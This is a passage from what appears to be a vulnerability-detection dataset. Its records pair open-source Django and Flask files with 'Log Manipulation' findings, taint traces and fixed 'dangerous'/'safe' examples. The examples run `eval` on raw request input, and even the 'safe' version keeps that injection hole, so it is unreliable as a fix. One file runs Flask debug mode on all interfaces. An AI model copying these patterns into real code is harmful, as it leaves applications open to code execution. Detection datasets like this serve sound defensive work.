Response({'feedback': 0}, status=status.HTTP_404_NOT_FOUND)\n\n serializer = serializers.RecommendationFeedbackSerializer(queryset, context={'request': request, 'listing': listing})\n data = serializer.data\n return Response(data)\n\n def create(self, request, listing_pk=None):\n listing = model_access.get_listing_by_id(request.user.username, listing_pk, True)\n\n serializer = serializers.RecommendationFeedbackSerializer(data=request.data, context={'request': request, 'listing': listing})\n\n if not serializer.is_valid():\n logger.error('{0!s}'.format(serializer.errors), extra={'request': request})\n raise errors.ValidationException('{0}'.format(serializer.errors))\n\n serializer.save()\n\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n\n def destroy(self, request, listing_pk=None, pk=None):\n listing = model_access.get_listing_by_id(request.user.username, listing_pk, True)\n feedback = model_access.get_recommendation_feedback(request.user.username, listing)\n\n if feedback is None:\n return Response(status=status.HTTP_404_NOT_FOUND)\n\n model_access.delete_recommendation_feedback(listing, feedback)\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n\nclass ListingTypeViewSet(viewsets.ModelViewSet):\n \"\"\"\n Listing Types\n\n ModelViewSet for getting all Listing Types for a given listing\n\n Access Control\n ===============\n - All users can view\n\n URIs\n ======\n GET /api/listingtype\n Summary:\n Get a list of all system-wide ListingType entries\n Response:\n 200 - Successful operation - [ListingTypeSerializer]\n\n POST /api/listingtype\n Summary:\n Add a ListingType\n Request:\n data: ListingTypeSerializer Schema\n Response:\n 200 - Successful operation - ListingTypeSerializer\n\n GET /api/listingtype/{pk}\n Summary:\n Find a ListingType Entry by ID\n Response:\n 200 - Successful operation - ListingTypeSerializer\n\n PUT /api/listingtype/{pk}\n Summary:\n Update a ListingType Entry by ID\n\n PATCH /api/listingtype/{pk}\n Summary:\n Update (Partial) a ListingType Entry by ID\n\n DELETE /api/listingtype/{pk}\n Summary:\n Delete a ListingType Entry by ID\n \"\"\"\n permission_classes = (permissions.IsUser,)\n queryset = model_access.get_all_listing_types()\n serializer_class = serializers.ListingTypeSerializer\n\n\nclass ListingUserActivitiesViewSet(viewsets.ModelViewSet):\n \"\"\"\n ListingUserActivitiesViewSet endpoints are read-only\n\n ModelViewSet for getting all Listing User Activities for a given listing\n\n Access Control\n ===============\n - All users can view\n\n URIs\n ======\n GET /api/self/listings/activity\n Summary:\n Get a list of all system-wide ListingUserActivities entries\n Response:\n 200 - Successful operation - [ListingActivitySerializer]\n\n GET /api/self/listings/activity/{pk}\n Summary:\n Find a Listing User Activity Entry by ID\n Response:\n 200 - Successful operation - ListingActivitySerializer\n \"\"\"\n\n permission_classes = (permissions.IsUser,)\n serializer_class = serializers.ListingActivitySerializer\n\n def get_queryset(self):\n return model_access.get_listing_activities_for_user(\n self.request.user.username)\n\n def list(self, request):\n queryset = self.get_queryset()\n page = self.paginate_queryset(queryset)\n if page is not None:\n serializer = serializers.ListingActivitySerializer(page,\n context={'request': request}, many=True)\n return self.get_paginated_response(serializer.data)\n serializer = serializers.ListingActivitySerializer(queryset,\n context={'request': request}, many=True)\n return Response(serializer.data)\n\n\nclass ListingActivitiesViewSet(viewsets.ModelViewSet):\n \"\"\"\n ListingActivity endpoints are read-only\n\n ModelViewSet for getting all Listing Activities for a given listing\n\n Access Control\n ===============\n - AppsMallSteward can view\n\n URIs\n ======\n GET /api/listings/activity\n Summary:\n Get a list of all system-wide ListingActivities entries\n Response:\n 200 - Successful operation - [ListingActivitySerializer]\n\n GET /api/listings/activity/{pk}\n Summary:\n Find a Listing User Activity Entry by ID\n Response:\n 200 - Successful operation - ListingActivitySerializer\n \"\"\"\n permission_classes = (permissions.IsOrgSteward,)\n serializer_class = serializers.ListingActivitySerializer\n\n def get_queryset(self):\n return model_access.get_all_listing_activities(\n self.request.user.username).order_by('-activity_date')\n\n def list(self, request):\n queryset = self.get_queryset()\n # it appears that because we override the queryset here, we must\n # manually invoke the pagination methods\n page = self.paginate_queryset(queryset)\n if page is not None:\n serializer = serializers.ListingActivitySerializer(page,\n context={'request': request}, many=True)\n return self.get_paginated_response(serializer.data)\n serializer = serializers.ListingActivitySerializer(queryset,\n context={'request': request}, many=True)\n return Response(serializer.data)\n\n\nclass ListingActivityViewSet(viewsets.ModelViewSet):\n \"\"\"\n ListingActivity endpoints are read-only\n\n ModelViewSet for getting all Listing Activities for a given listing\n\n Access Control\n ===============\n - All users can view\n\n URIs\n ======\n GET /api/listing/{pk}/activity\n Summary:\n Find a Listing Activity Entry by ID\n Response:\n 200 - Successful operation - ListingActivitySerializer\n \"\"\"\n permission_classes = (permissions.IsUser,)\n serializer_class = serializers.ListingActivitySerializer\n\n def get_queryset(self):\n return model_access.get_all_listing_activities(\n self.request.user.username).order_by('-activity_date')\n\n def list(self, request, listing_pk=None):\n queryset = self.get_queryset().filter(listing=listing_pk)\n # it appears that because we override the queryset here, we must\n # manually invoke the pagination methods\n page = self.paginate_queryset(queryset)\n if page is not None:\n serializer = serializers.ListingActivitySerializer(page,\n context={'request': request}, many=True)\n return self.get_paginated_response(serializer.data)\n serializer = serializers.ListingActivitySerializer(queryset,\n context={'request': request}, many=True)\n return Response(serializer.data)\n\n def retrieve(self, request, pk=None, listing_pk=None):\n queryset = self.get_queryset().get(pk=pk, listing=listing_pk)\n serializer = serializers.ListingActivitySerializer(queryset,\n context={'request': request})\n return Response(serializer.data)\n\n\nclass ListingPendingDeletionViewSet(viewsets.ModelViewSet):\n \"\"\"\n ModelViewSet for getting all Listing Pending Deletions\n\n Access Control\n ===============\n - All users can view\n\n URIs\n ======\n POST /api/listing/{pk}/pendingdeletion\n Summary:\n Add a ListingPendingDeletion\n Request:\n data: ListingPendingDeletionSerializer Schema\n Response:\n 200 - Successful operation - ListingActivitySerializer\n\n GET /api/listing/{pk}/pendingdeletion\n Summary:\n Find a ListingPendingDeletion Entry by ID\n Response:\n 200 - Successful operation - ListingActivitySerializer\n \"\"\"\n\n permission_classes = (permissions.IsUser,)\n serializer_class = serializers.ListingActivitySerializer\n\n def get_queryset(self):\n queryset = model_access.get_pending_deletion_listings(\n self.request.user.username)\n return queryset\n\n def list(self, request, listing_pk=None):\n queryset = self.get_queryset().filter(listing__id=listing_pk)\n serializer = serializers.ListingActivitySerializer(queryset,\n context={'request': request}, many=True)\n return Response(serializer.data)\n\n def create(self, request, listing_pk=None):\n try:\n user = generic_model_access.get_profile(request.user.username)\n listing = model_access.get_listing_by_id(request.user.username,\n listing_pk)\n description = request.data['description'] if 'description' in request.data else None\n if not description:\n raise errors.InvalidInput('Description is required when pending a listing for deletion')\n\n listing = model_access.pending_delete_listing(user, listing, description)\n return Response(data={\"listing\": {\"id\": listing.id}},\n status=status.HTTP_201_CREATED)\n except Exception as e:\n logger.error('Exception: {}'.format(e), extra={'request': request})\n raise errors.RequestException('Error pending listing for deletion')\n\n\nclass ListingRejectionViewSet(viewsets.ModelViewSet):\n \"\"\"\n ModelViewSet for getting all Listing Rejections\n\n Access Control\n ===============\n - AppsMallSteward can view\n\n URIs\n ======\n POST /api/listing/{pk}/rejection\n Summary:\n Add a ListingRejection\n Request:\n data: ListingRejectionSerializer Schema\n Response:\n 200 - Successful operation - ListingActivitySerializer\n\n GET /api/listing/{pk}/rejection\n Summary:\n Find a ListingRejection Entry by ID\n Response:\n 200 - Successful operation - ListingActivitySerializer\n \"\"\"\n\n permission_classes = (permissions.IsOrgStewardOrReadOnly,)\n serializer_class = serializers.ListingActivitySerializer\n\n def get_queryset(self):\n queryset = model_access.get_rejection_listings(\n self.request.user.username)\n return queryset\n\n def list(self, request, listing_pk=None):\n queryset = self.get_queryset().filter(listing__id=listing_pk)\n serializer = serializers.ListingActivitySerializer(queryset,\n context={'request': request}, many=True)\n return Response(serializer.data)\n\n def create(self, request, listing_pk=None):\n try:\n user = generic_model_access.get_profile(request.user.username)\n listing = model_access.get_listing_by_id(request.user.username,\n listing_pk)\n rejection_description = request.data['description']\n listing = model_access.reject_listing(user, listing,\n rejection_description)\n return Response(data={\"listing\": {\"id\": listing.id}},\n status=status.HTTP_201_CREATED)\n except Exception as e:\n logger.error('Exception: {}'.format(e), extra={'request': request})\n raise errors.RequestException('Error rejecting listing')\n\n\nclass ScreenshotViewSet(viewsets.ModelViewSet):\n \"\"\"\n Listing Types\n\n ModelViewSet for getting all Screenshots for a given listing\n\n Access Control\n ===============\n - All users can view\n\n URIs\n ======\n GET /api/screenshot/\n Summary:\n Get a list of all system-wide Screenshot entries\n Response:\n 200 - Successful operation - [ScreenshotSerializer]\n\n POST /api/screenshot/\n Summary:\n Add a Screenshot\n Request:\n data: ScreenshotSerializer Schema\n Response:\n 200 - Successful operation - ScreenshotSerializer\n\n GET /api/screenshot/{pk}\n Summary:\n Find a Screenshot Entry by ID\n Response:\n 200 - Successful operation - ScreenshotSerializer\n\n PUT /api/screenshot/{pk}\n Summary:\n Update a Screenshot Entry by ID\n\n PATCH /api/screenshot/{pk}\n Summary:\n Update (Partial) a Screenshot Entry by ID\n\n DELETE /api/screenshot/{pk}\n Summary:\n Delete a Screenshot Entry by ID\n \"\"\"\n\n permission_classes = (permissions.IsUser,)\n queryset = model_access.get_all_screenshots()\n serializer_class = serializers.ScreenshotSerializer\n\n\nclass TagViewSet(viewsets.ModelViewSet):\n \"\"\"\n Listing Types\n\n ModelViewSet for getting all Tags for a given listing\n\n Access Control\n ===============\n - All users can view\n\n URIs\n ======\n GET /api/tag/\n Summary:\n Get a list of all system-wide Tag entries\n Response:\n 200 - Successful operation - [TagSerializer]\n\n POST /api/tag/\n Summary:\n Add a Tag\n Request:\n data: TagSerializer Schema\n Response:\n 200 - Successful operation - TagSerializer\n\n GET /api/tag/{pk}\n Summary:\n Find a Tag Entry by ID\n Response:\n 200 - Successful operation - TagSerializer\n\n PUT /api/tag/{pk}\n Summary:\n Update a Tag Entry by ID\n\n PATCH /api/tag/{pk}\n Summary:\n Update (Partial) a Tag Entry by ID\n\n DELETE /api/tag/{pk}\n Summary:\n Delete a Tag Entry by ID\n \"\"\"\n\n permission_classes = (permissions.IsUser,)\n queryset = model_access.get_all_tags()\n serializer_class = serializers.TagSerializer\n\n\nclass ListingViewSet(viewsets.ModelViewSet):\n \"\"\"\n Get all listings this user can see\n\n Listing Types\n\n ModelViewSet for getting all Listings\n\n Access Control\n ===============\n - All users can view\n\n URIs\n ======\n GET /api/listing\n Summary:\n Get a list of all system-wide Listings\n Response:\n 200 - Successful operation - [ListingSerializer]\n\n POST /api/listing/\n Summary:\n Add a Listing\n Request:\n data: ListingSerializer Schema\n Response:\n 200 - Successful operation - ListingSerializer\n\n GET /api/listing/{pk}\n Summary:\n Find a Listing Entry by ID\n Response:\n 200 - Successful operation - ListingSerializer\n\n PUT /api/listing/{pk}\n Summary:\n Update a Listing Entry by ID\n\n PATCH /api/listing/{pk}\n Summary:\n Update (Partial) a Listing Entry by ID\n\n DELETE /api/listing/{pk}\n Summary:\n Delete a Listing Entry by ID\n \"\"\"\n\n permission_classes = (permissions.IsUser,)\n serializer_class = serializers.ListingSerializer\n filter_backends = (filters.SearchFilter, filters.OrderingFilter)\n search_fields = ('title', 'id', 'owners__display_name', 'agency__title', 'agency__short_name',)\n ordering_fields = ('id', 'agency__title', 'agency__short_name', 'is_enabled', 'is_featured',\n 'edited_date', 'security_marking', 'is_private', 'approval_status', 'approved_date',\n 'avg_rate', 'total_votes')\n case_insensitive_ordering_fields = ('title',)\n ordering = ('is_deleted', '-edited_date')\n\n def get_queryset(self):\n approval_status = self.request.query_params.get('approval_status', None)\n # org = self.request.query_params.get('org', None)\n orgs = self.request.query_params.getlist('org', False)\n enabled = self.request.query_params.get('enabled', None)\n ordering = self.request.query_params.get('ordering', None)\n owners_id = self.request.query_params.get('owners_id', None)\n if enabled:\n enabled = enabled.lower()\n if enabled in ['true', '1']:\n enabled = True\n else:\n enabled = False\n if ordering:\n ordering = [s.strip() for s in ordering.split(',')]\n else:\n # always default to last modified for consistency\n ordering = ['-edited_date']\n\n listings = model_access.get_listings(self.request.user.username)\n if owners_id:\n listings = listings.filter(owners__id=owners_id)\n if approval_status:\n listings = listings.filter(approval_status=approval_status)\n if orgs:\n listings = listings.filter(agency__short_name__in=orgs)\n if enabled is not None:\n listings = listings.filter(is_enabled=enabled)\n # have to handle this case manually because the ordering includes an app multiple times\n # if there are multiple owners. We instead do sorting by case insensitive compare of the\n # app owner that comes first alphabetically\n param = [s for s in ordering if 'owners__display_name' == s or '-owners__display_name' == s]\n if ordering is not None and param:\n orderby = 'min'\n if param[0].startswith('-'):\n orderby = '-min'\n listings = listings.annotate(min=Min(Lower('owners__display_name'))).order_by(orderby)\n self.ordering = None\n\n # Django REST filters are canse sensitive by default, so we handle case_insensitive fields\n # manually. May want to abstract this functionality in an OrderingFilter sub-class\n case_insensitive_ordering = [s for s in ordering if s in self.case_insensitive_ordering_fields or\n s.startswith('-') and s[1:] in self.case_insensitive_ordering_fields]\n if ordering is not None and case_insensitive_ordering:\n for field in case_insensitive_ordering:\n if field.startswith('-'):\n listings = listings.order_by(Lower(field[1:])).reverse()\n else:\n listings = listings.order_by(Lower(field))\n self.ordering = None\n\n return listings\n\n def list(self, request):\n queryset = serializers.ListingSerializer.setup_eager_loading(self.get_queryset())\n queryset = self.filter_queryset(queryset)\n counts_data = model_access.put_counts_in_listings_endpoint(queryset)\n # it appears that because we override the queryset here, we must\n # manually invoke the pagination methods\n page = self.paginate_queryset(queryset)\n if page is not None:\n serializer = serializers.ListingSerializer(page,\n context={'request': request}, many=True)\n r = self.get_paginated_response(serializer.data)\n # add counts to response\n r.data['counts'] = counts_data\n return r\n\n serializer = serializers.ListingSerializer(queryset,\n context={'request': request}, many=True)\n r = Response(serializer.data)\n # add counts to response\n counts = {'counts': counts_data}\n r.data.append(counts)\n return r\n\n def create(self, request):\n \"\"\"\n Save a new Listing - only title is required\n\n Sample Payload:\n {\n \"title\":\"My Test App\",\n \"description\":\"This is the full description of my app\",\n \"descriptionShort\":\"short app description\",\n \"contacts\":[\n {\n \"type\":\"Technical Support\",\n \"name\":\"Tech Support Contact\",\n \"organization\":\"ABC Inc\",\n \"email\":\"\",\n \"securePhone\":\"555-555-5555\",\n \"unsecurePhone\":\"111-222-3454\"\n }\n ],\n \"tags\":[\n \"tag1\",\n \"tag2\"\n ],\n \"type\":\"Web Application\",\n \"usage_requirements\":\"None\",\n \"system_requirements\":\"None\",\n \"versionName\":\"1.0.0\",\n \"launchUrl\":\"http://www.google.com/myApp\",\n \"whatIsNew\":\"Nothing is new\",\n \"owners\":[\n {\n \"username\":\"alan\"\n }\n ],\n \"agency\":\"Test Organization\",\n \"categories\":[\n \"Entertainment\",\n \"Media and Video\"\n ],\n \"intents\":[\n \"application/json/edit\",\n \"application/json/view\"\n ],\n \"docUrls\":[\n {\n \"name\":\"wiki\",\n \"url\":\"http://www.wikipedia.com/myApp\"\n }\n ],\n \"smallIconId\":\"b0b54993-0668-4419-98e8-787e4c3a2dc2\",\n \"largeIconId\":\"e94128ab-d32d-4241-8820-bd2c69a64a87\",\n \"bannerIconId\":\"ecf79771-79a0-4884-a36d-5820c79c6d72\",\n \"featuredBannerIconId\":\"c3e6a369-4773-485e-b369-5cebaa331b69\",\n \"changeLogs\":[\n\n ],\n \"screenshots\":[\n {\n \"smallImageId\":\"0b8db892-b669-4e86-af23-d899cb4d4d91\",\n \"largeImageId\":\"80957d25-f34b-48bc-b860-b353cfd9e101\"\n }\n ]\n }\n\n ---\n parameters:\n - name: body\n required: true\n paramType: body\n parameters_strategy:\n form: replace\n query: replace\n omit_serializer: true\n \"\"\"\n # logger.debug('inside ListingViewSet.create', extra={'request': request})\n serializer = serializers.ListingSerializer(data=request.data,\n context={'request': request}, partial=True)\n\n if not serializer.is_valid():\n logger.error('{0!s}'.format(serializer.errors), extra={'request': request})\n raise errors.ValidationException('{0}'.format(serializer.errors))\n\n serializer.save()\n\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n\n def retrieve(self, request, pk=None):\n \"\"\"\n Get a Listing by id\n \"\"\"\n queryset = self.get_queryset().get(pk=pk)\n serializer = serializers.ListingSerializer(queryset,\n context={'request': request})\n # TODO: Refactor in future to use django ordering (mlee)\n temp = serializer.data.get('screenshots')\n temp.sort(key=operator.itemgetter('order'))\n return Response(serializer.data)\n\n def destroy(self, request, pk=None):\n \"\"\"\n Delete a listing\n \"\"\"\n queryset = self.get_queryset()\n listing = get_object_or_404(queryset, pk=pk)\n description = request.data['description'] if 'description' in request.data else None\n if not description:\n raise errors.InvalidInput('Description is required when deleting a listing')\n\n model_access.delete_listing(request.user.username, listing, description)\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n def update(self, request, pk=None):\n \"\"\"\n Update a Listing\n\n Sample payload:\n\n {\n \"id\":45,\n \"title\":\"My Test App\",\n \"description\":\"This is the full description of my app\",\n \"descriptionShort\":\"short app description\",\n \"contacts\":[\n {\n \"securePhone\":\"555-555-5555\",\n \"unsecurePhone\":\"111-222-3454\",\n \"email\":\"\",\n \"organization\":\"ABC Inc\",\n \"name\":\"Tech \",\n \"type\":\"Technical Support\"\n }\n ],\n \"totalReviews\":0,\n \"avgRate\":0,\n \"totalRate1\":0,\n \"totalRate2\":0,\n \"totalRate3\":0,\n \"totalRate4\":0,\n \"height\":null,\n \"width\":null,\n \"totalRate5\":0,\n \"totalVotes\":0,\n \"tags\":[\n \"tag2\",\n \"tag1\"\n ],\n \"type\":\"Web Application\",\n \"uuid\":\"e378c427-bba6-470c-b2f3-e550b9129504\",\n \"usage_requirements\":\"None\",\n \"system_requirements\":\"None\",\n \"iframe_compatible\":false,\n \"versionName\":\"1.0.0\",\n \"launchUrl\":\"http://www.google.com/myApp\",\n \"whatIsNew\":\"Nothing is new\",\n \"owners\":[\n {\n \"displayName\":\"kevink\",\n \"username\":\"kevink\",\n \"id\":5\n }\n ],\n \"agency\":\"Test Organization\",\n \"agencyShort\":\"TO\",\n \"currentRejection\":null,\n \"isEnabled\":true,\n \"categories\":[\n \"Media and Video\",\n \"Entertainment\"\n ],\n \"editedDate\":\"2015-08-12T10:53:47.036+0000\",\n \"intents\":[\n \"application/json/edit\",\n \"application/json/view\"\n ],\n \"docUrls\":[\n {\n \"url\":\"http://www.wikipedia.com/myApp\",\n \"name\":\"wiki\"\n }\n ],\n \"approvalStatus\":\"IN_PROGRESS\",\n \"isFeatured\":false,\n \"smallIconId\":\"b0b54993-0668-4419-98e8-787e4c3a2dc2\",\n \"largeIconId\":\"e94128ab-d32d-4241-8820-bd2c69a64a87\",\n \"bannerIconId\":\"ecf79771-79a0-4884-a36d-5820c79c6d72\",\n \"featuredBannerIconId\":\"c3e6a369-4773-485e-b369-5cebaa331b69\",\n \"changeLogs\":[\n\n ],\n \"screenshots\":[\n {\n \"largeImageId\":\"80957d25-f34b-48bc-b860-b353cfd9e101\",\n \"smallImageId\":\"0b8db892-b669-4e86-af23-d899cb4d4d91\"\n }\n ]\n }\n \"\"\"\n # logger.debug('inside ListingViewSet.update', extra={'request': request})\n instance = self.get_queryset().get(pk=pk)\n serializer = serializers.ListingSerializer(instance, data=request.data, context={'request': request}, partial=True)\n\n # logger.debug('created ListingSerializer', extra={'request': request})\n\n if not serializer.is_valid():\n logger.error('{0!s}'.format(serializer.errors), extra={'request': request})\n raise errors.ValidationException('{0}'.format(serializer.errors))\n\n serializer.save()\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n def partial_update(self, request, pk=None):\n \"\"\"\n TODO: Probably don't use this (PATCH)\n \"\"\"\n pass\n\n\nclass ListingUserViewSet(viewsets.ModelViewSet):\n \"\"\"\n Listing Types\n\n Get all listings owned by this user\n\n ModelViewSet for getting all ListingUserViewSets\n\n Access Control\n ===============\n - All users can view\n\n URIs\n ======\n GET /api/self/listing\n Summary:\n Get a list of all system-wide Listing User entries\n Response:\n 200 - Successful operation - [ListingSerializer]\n\n GET /api/self/listing/{pk}\n Summary:\n Find a ListingUserViewSet Entry by ID\n Response:\n 200 - Successful operation - ListingSerializer\n \"\"\"\n permission_classes = (permissions.IsUser,)\n serializer_class = serializers.ListingSerializer\n\n def get_queryset(self):\n return model_access.get_self_listings(self.request.user.username)\n\n def list(self, request):\n return super(ListingUserViewSet, self).list(self, request)\n\n\nclass ListingSearchViewSet(viewsets.ModelViewSet):\n \"\"\"\n Search for listings\n\n ModelViewSet for getting all Listing Searches\n\n Access Control\n ===============\n - All users can view\n\n URIs\n ======\n GET /api/listings/search\n Summary:\n Get a list of all system-wide Listing Search entries\n Response:\n 200 - Successful operation - [ListingSerializer]\n\n GET /api/listings/search/{pk}\n Summary:\n Find a ListingSearchViewSet Entry by ID\n Response:\n 200 - Successful operation - ListingSerializer\n \"\"\"\n\n permission_classes = (permissions.IsUser,)\n serializer_class = serializers.ListingSerializer\n filter_backends = (filters.SearchFilter, )\n search_fields = ('title', 'description', 'description_short', 'tags__name')\n\n def get_queryset(self):\n filter_params = {}\n categories = self.request.query_params.getlist('category', False)\n agencies = self.request.query_params.getlist('agency', False)\n listing_types = self.request.query_params.getlist('type', False)\n if categories:\n filter_params['categories'] = categories\n if agencies:\n filter_params['agencies'] = agencies\n if listing_types:\n filter_params['listing_types'] = listing_types\n\n return model_access.filter_listings(self.request.user.username,\n filter_params)\n\n def list(self, request):\n \"\"\"\n ---\n # YAML (must be separated by `---`)\n\n omit_serializer: false\n\n parameters:\n - name: search\n description: Text to search\n paramType: query\n - name: category\n description: List of category names (AND logic)\n required: false\n paramType: query\n allowMultiple: true\n - name: agency\n description: List of agencies\n paramType: query\n - name: type\n description: List of application types\n paramType: query\n - name: limit\n description: Max number of listings to retrieve\n paramType: query\n - name: offset\n description: Offset\n paramType: query\n\n responseMessages:\n - code: 401\n message: Not authenticated\n \"\"\"\n return super(ListingSearchViewSet, self).list(self, request)\n\n\nclass ElasticsearchListingSearchViewSet(viewsets.ViewSet):\n \"\"\"\n Elasticsearch Listing Search Viewset\n\n It must support pagination. offset, limit\n\n GET /api/listings/essearch/?search=6&offset=0&limit=24 HTTP/1.1\n GET /api/listings/essearch/?search=6&offset=0&limit=24 HTTP/1.1\n\n GET api/listings/essearch/?search=6&offset=0&category=Education&limit=24&type=web+application&agency=Minitrue&agency=Miniluv&minscore=0.4\n\n ModelViewSet for searching all Listings with Elasticsearch\n\n Access Control\n ===============\n - All users can view\n\n URIs\n ======\n GET /api/listings/essearch\n \"\"\"\n permission_classes = (permissions.IsUser,)\n\n def list(self, request):\n current_request_username = request.user.username\n params_obj = model_access_es.SearchParamParser(request)\n\n results = model_access_es.search(current_request_username, params_obj)\n return Response(results, status=status.HTTP_200_OK)\n\n @list_route(methods=['get'], permission_classes=[permissions.IsUser])\n def suggest(self, request):\n current_request_username = request.user.username\n params_obj = model_access_es.SearchParamParser(self.request)\n\n results = model_access_es.suggest(current_request_username, params_obj)\n return Response(results, status=status.HTTP_200_OK)\n\n def create(self, request):\n \"\"\"\n This method is not supported\n \"\"\"\n raise errors.NotImplemented('HTTP Verb Not Supported')\n\n def retrieve(self, request, pk=None):\n \"\"\"\n This method is not supported\n \"\"\"\n raise errors.NotImplemented('HTTP Verb Not Supported')\n\n def update(self, request, pk=None):\n \"\"\"\n This method is not supported\n \"\"\"\n raise errors.NotImplemented('HTTP Verb Not Supported')\n\n def partial_update(self, request, pk=None):\n \"\"\"\n This method is not supported\n \"\"\"\n raise errors.NotImplemented('HTTP Verb Not Supported')\n\n def destroy(self, request, pk=None):\n \"\"\"\n This method is not supported\n \"\"\"\n raise errors.NotImplemented('HTTP Verb Not Supported')", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. logger.error(userId)\n9. return HttpResponse('result = ' + result)\nLine 8: An insecure request.GET['id'] is used in logger.error() function.", "safeExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. if not '\\n' in userId:\n9. logger.error(userId)\n10. return HttpResponse('result = ' + result)\nLine 8: Check string data, and then, print out secure one only.", "contexts": [{"lineNo": 103, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 103, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.data"}}, {"lineNo": 103, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "ozpcenter.api.listing.serializers.ReviewSerializer"}}, {"lineNo": 104, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "104"}}, {"lineNo": 105, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "serializerReviewViewSet.create.serializer.errors"}}, {"lineNo": 105, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 105, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "error"}}]}} {"id": "f97ef4bbdaf8148cfeb24d7013f74c5e39cb1377aa9b17deda442980041902fb", "license": {"spdx": ["Unlicense"], "repo": "tumluliu/gmaps-wrapper", "path": "gmapswrapper.py", "repo_head_hexsha": "83d2dba851ad952943bf52a94b162c960c559a97", "stack_hexsha": "bc6952a8086907e41b396c37a80e9fc9cc37a71c", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Log Manipulation", "issueDescriptionEn": "The Log Manipulation checker finds instances of printing out unvalidated user inputs in a log.\nIf unvalidated user inputs are printed out in a log, an attacker can insert arbitrary content in the log to confuse security personnel who consult the log. If a manipulated log successfully leads to making an inappropriate decision, the attacker can exploit the consequences.\nHave external inputs validated before they are logged. It is particularly recommended to delete newline characters.", "issueLineNumber": 37, "entireCode": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nWrapper service of Google Maps Directions API\n\"\"\"\n\nimport os\nimport logging.config\nimport json\nimport requests\nfrom flask import Flask, request\nfrom flask_cors import CORS\n\nLOGGING_CONF_FILE = 'logging.json'\nDEFAULT_LOGGING_LVL = logging.INFO\npath = LOGGING_CONF_FILE\nvalue = os.getenv('LOG_CFG', None)\nif value:\n path = value\nif os.path.exists(path):\n with open(path, 'rt') as f:\n config = json.load(f)\n logging.config.dictConfig(config)\nelse:\n logging.basicConfig(\n format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\napp = Flask(__name__)\nCORS(app)\nGOOGLE_MAPS_URL_TEMPLATE = \"https://maps.googleapis.com/maps/api/directions/json\"\n\n\n@app.route(\"/gmapswrapper\")\ndef getGoogleMapsDirections():\n logger.debug(str(request.url))\n logger.debug(str(request.query_string))\n payload = {\n \"origin\": request.args.get(\"origin\"),\n \"destination\": request.args.get(\"destination\"),\n \"mode\": request.args.get(\"mode\"),\n \"key\": request.args.get(\"key\")\n }\n r = requests.get(GOOGLE_MAPS_URL_TEMPLATE, params=payload)\n logger.debug(r.status_code)\n return r.content\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', debug=True)", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. logger.error(userId)\n9. return HttpResponse('result = ' + result)\nLine 8: An insecure request.GET['id'] is used in logger.error() function.", "safeExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. if not '\\n' in userId:\n9. logger.error(userId)\n10. return HttpResponse('result = ' + result)\nLine 8: Check string data, and then, print out secure one only.", "contexts": [{"lineNo": 37, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 37, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.url"}}, {"lineNo": 37, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "str"}}, {"lineNo": 37, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "debug"}}]}} {"id": "730fe1e2902482560d0642fead5c5ea3afa6e2bad589e0e14b7cb471d83e2920", "license": {"spdx": ["MIT"], "repo": "AIJIJI/devtools", "path": "devtools/flask_errors/__init__.py", "repo_head_hexsha": "a5f55c02bb703fa7642586621f7b1ee22093316d", "stack_hexsha": "4a5a53403e168c77caf289f260e2ec21909c5cfd", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Log Manipulation", "issueDescriptionEn": "The Log Manipulation checker finds instances of printing out unvalidated user inputs in a log.\nIf unvalidated user inputs are printed out in a log, an attacker can insert arbitrary content in the log to confuse security personnel who consult the log. If a manipulated log successfully leads to making an inappropriate decision, the attacker can exploit the consequences.\nHave external inputs validated before they are logged. It is particularly recommended to delete newline characters.", "issueLineNumber": 13, "entireCode": "import json\nfrom traceback import format_exc\nfrom functools import partial\nfrom flask import request, current_app, jsonify\nfrom werkzeug.exceptions import default_exceptions\nfrom devtools.web import merge_fields\n\n\ndef http_exception_handler(error, debug):\n code = getattr(error, 'code', 500)\n description = json.dumps(merge_fields(request), indent=4)\n if str(code).startswith('5'):\n current_app.logger.error(description, exc_info=True)\n if debug:\n print(description)\n print(format_exc())\n return jsonify(\n name=getattr(error, 'name', ''),\n description=getattr(error, 'description', ''),\n message=getattr(error, 'description', ''),\n path=request.path), code\n\n\ndef common_exception_handler(error, debug):\n req = json.dumps(merge_fields(request), indent=4)\n current_app.logger.error(req, exc_info=True)\n if debug:\n print(req)\n print(format_exc())\n return jsonify(\n message=str(error),\n 